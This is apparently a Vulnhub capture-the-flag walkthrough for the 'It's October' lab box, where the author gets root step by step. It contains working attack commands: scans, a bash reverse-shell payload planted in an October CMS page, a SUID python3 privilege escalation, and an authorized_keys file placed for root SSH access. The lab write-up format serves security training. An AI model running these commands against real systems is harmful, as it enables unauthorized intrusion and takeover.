It’s October Vulnhub Walkthrough

Here’s the new challenge of “It’s October Vulnhub Walkthrough”.  It’s October is an easy box for the beginner and wannabe hackers. It is a box learning about October CMS and enumeration. The box was designed by Akansha Verma. This machine got something unique as it teaches you how you can exploit a cms even if you can’t find any known vulnerability.

Pentester Methodology

Network Scanning

• nmap
• netdiscover

Enumeration

• nikto
• gobuster
• placing of reverse shell

Privilege Escalation

• abusing SETUID

Network Discovery

In order to get the IP of the machine I used, netdiscover. As I allotted host-only adapter to my machine.

#netdiscover -i vboxnet0

Currently scanning: 192.168.157.0/16   |   Screen View: Unique Hosts                                                                                        
4 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 222               
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
-----------------------------------------------------------------------------
192.168.2.2     08:00:27:ac:26:45      1      42  PCS Systemtechnik GmbH      
192.168.2.12    08:00:27:cb:f2:fb      3     180  PCS Systemtechnik GmbH

And got my IP : 192.168.2.12. Now lets begin with nmap scan.

#nmap -A -O -sS -sC -p- 192.168.2.12

Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-06 18:59 IST
Nmap scan report for 192.168.2.12
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 27:21:9e:b5:39:63:e9:1f:2c:b2:6b:d3:3a:5f:31:7b (RSA)
|   256 bf:90:8a:a5:d7:e5:de:89:e6:1a:36:a1:93:40:18:57 (ECDSA)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Homepage | My new websites
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: My Note
MAC Address: 08:00:27:CB:F2:FB (Oracle VirtualBox virtual NIC)

I saw that ports 80 and 8080 are open, so without any delay, I visited the page.

It’s just a normal website. I don’t get anything useful in page source. But still moving forward.

This is also a simple web page. But it consists a clue in the page source to visit 192.168.2.12/mynote.txt

We got credentials for cms admin:adminadmin2. I used nikto for further enumeration but nothing much.

So I tried directory brute-forcing. I used gobuster and found a directory /backend showing the code 302.

#gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt  -u http://192.168.2.12

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.2.12
[+] Threads:        10
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/04/06 19:14:00 Starting gobuster
===============================================================
/themes (Status: 301)
/modules (Status: 301)
/0 (Status: 200)
/storage (Status: 301)
/plugins (Status: 301)
/backend (Status: 302)
/vendor (Status: 301)
/config (Status: 301)
Progress: 13383 / 220561 (6.07%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/04/06 19:22:15 Finished
===============================================================

Eureka. We got a CMS login page of OCTOBER CMS. I the old credential for the login.

 

And we are in.. The first checkpoint arrived. Now we need to upload a reverse shell on the CMS in order to get a shell. So for that, we open cms tab on the Dashboard> click on +ADD>enter the details of the page along with the shell>Save it.

function onstart(){
     exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.2.1/1505 0>&1'");
}

 

Now start the listener on the local machine and call the web page on the web.

#nc -nlvp 1505

listening on [any] 1505 ...
connect to [192.168.2.1] from (UNKNOWN) [192.168.2.12] 4038
bash-5.0$ id
 uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation:

Now for the privilege, I got nothing but a local user named armour. Then we checked for suid:

bash-5.0$ find / -perm -u=s -type f 2>/dev/null

/usr/bin/newgrp
/usr/bin/su
/usr/bin/python3
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/umount
/usr/bin/python3.7
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

 

So we got SUID bit configured on /bin/python3. We can approach for the root using this.

bash-5.0$ cd /tmp/
bash-5.0$ vim armour.py 

 #!/usr/bin/python
 import os
 os.execl("/bin/bash","sh","-p")
 ~                                                                               
 ~                                                                               
 ~                                                                               
 ~                                                                               
 :wq!
                                                                                                
bash-5.0$ chmod 777 armour.py 
bash-5.0$ python3 armour.py 

sh-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
sh-5.0# cd /root/
sh-5.0# ls
proof.txt
sh-5.0# cat proof.txt 
Best of Luck
$2y$12$EUztpmoFH8LjEzUBVyNKw.9AKf37uZWPxJp.A3eop2ff0LbLYZrFq

BOOM! we have the flag and euid of root!!. But we need to get the proper shell so I transfer the authorized_keys to the machine and called for ssh connection.

sh-5.0# cd /root/.ssh
sh-5.0# wget http://192.168.2.1:8080/authorized_keys 
--2020-04-06 10:23:55--  http://192.168.2.1:8080/authorized_keys
Connecting to 192.168.2.1:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 569 [application/octet-stream]
Saving to: ‘authorized_keys’

authorized_keys     100%[===================>]     569  --.-KB/s    in 0s      

2020-04-06 10:23:55 (41.3 MB/s) - ‘authorized_keys’ saved [569/569]

sh-5.0# ls 
authorized_keys

#ssh 192.168.2.12
The authenticity of host '192.168.2.12 (192.168.2.12)' can't be established.
ECDSA key fingerprint is SHA256:DYZkjGYMu99f1Ml7F6XHJ+4Oh/GISu41/GP0Y+yMgpg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.12' (ECDSA) to the list of known hosts.
   ##############################################################################################
   #                                      Armour Infosec                                        #
   #                         --------- www.armourinfosec.com ------------                       #
   #                                    It's October	                                        #
   #                               Designed By  :- Akanksha Sachin Verma                        #
   #                               Twitter      :- @akankshavermasv                             #
   ##############################################################################################                                       IP:\4
                                       Hostname: \n
Debian GNU/Linux 10
Linux october 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Mar 27 10:53:25 2020 from 192.168.1.6

root@october:~# id
uid=0(root) gid=0(root) groups=0(root)
root@october:~# hostname
october
root@october:~# uname -a
Linux october 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux
root@october:~# cd 
root@october:~# cat proof.txt 
Best of Luck
$2y$12$EUztpmoFH8LjEzUBVyNKw.9AKf37uZWPxJp.A3eop2ff0LbLYZrFq